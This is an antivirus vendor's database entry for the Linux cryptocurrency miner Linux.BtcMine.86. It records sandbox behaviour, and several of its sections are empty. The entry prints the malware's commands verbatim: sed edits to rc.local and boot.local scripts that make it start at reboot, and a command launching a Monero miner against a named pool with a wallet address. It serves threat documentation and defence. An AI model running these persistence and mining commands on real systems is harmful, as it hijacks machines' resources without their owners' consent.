Linux.BtcMine.86

Linux.BtcMine.86

Added to the Dr.Web virus database: 2018-08-15

Virus description added: 2018-08-15

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches itself as a daemon

Launches processes:

sh -c sed -i -e '/exit/d' /etc/rc.local
sed -i -e /exit/d /etc/rc.local
sh -c sed -i -e '/
sed -i -e /
sh -c sed -i -e '/<SAMPLE> reboot/d' /etc/rc.local
sed -i -e /<SAMPLE> reboot/d /etc/rc.local
sh -c sed -i -e '2 i//<SAMPLE> reboot' /etc/rc.local
sed -i -e 2 i//<SAMPLE> reboot /etc/rc.local
sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/rc.d/rc.local
sed -i -e 2 i//<SAMPLE> reboot start /etc/rc.d/rc.local
sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/init.d/boot.local
sed -i -e 2 i//<SAMPLE> reboot start /etc/init.d/boot.local
sh -c ./tmp/syssrv -B -o stratum+tcp://xmr.f2pool.com:13531 -u 492S9E7KsrjMWUCYLjmKTBRnNJjUQ3GMRLe6MVBnudM47svhNo2GVfjjf3Rdwa8j3BEtXQbU382v3drRT3dWnWz6Rj3udEB -p x -k
./tmp/syssrv -B -o stratum+tcp://xmr.f2pool.com:13531 -u 492S9E7KsrjMWUCYLjmKTBRnNJjUQ3GMRLe6MVBnudM47svhNo2GVfjjf3Rdwa8j3BEtXQbU382v3drRT3dWnWz6Rj3udEB -p x -k
sh -c ps -ef|grep syssrv
grep syssrv
ps -ef

Kills the following processes:

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Network activity:

Establishes connection:

DNS ASK:

Sends data to the following servers:

Receives data from the following servers:

Other:

Collects CPU information

Collects RAM information

Collects information about network activity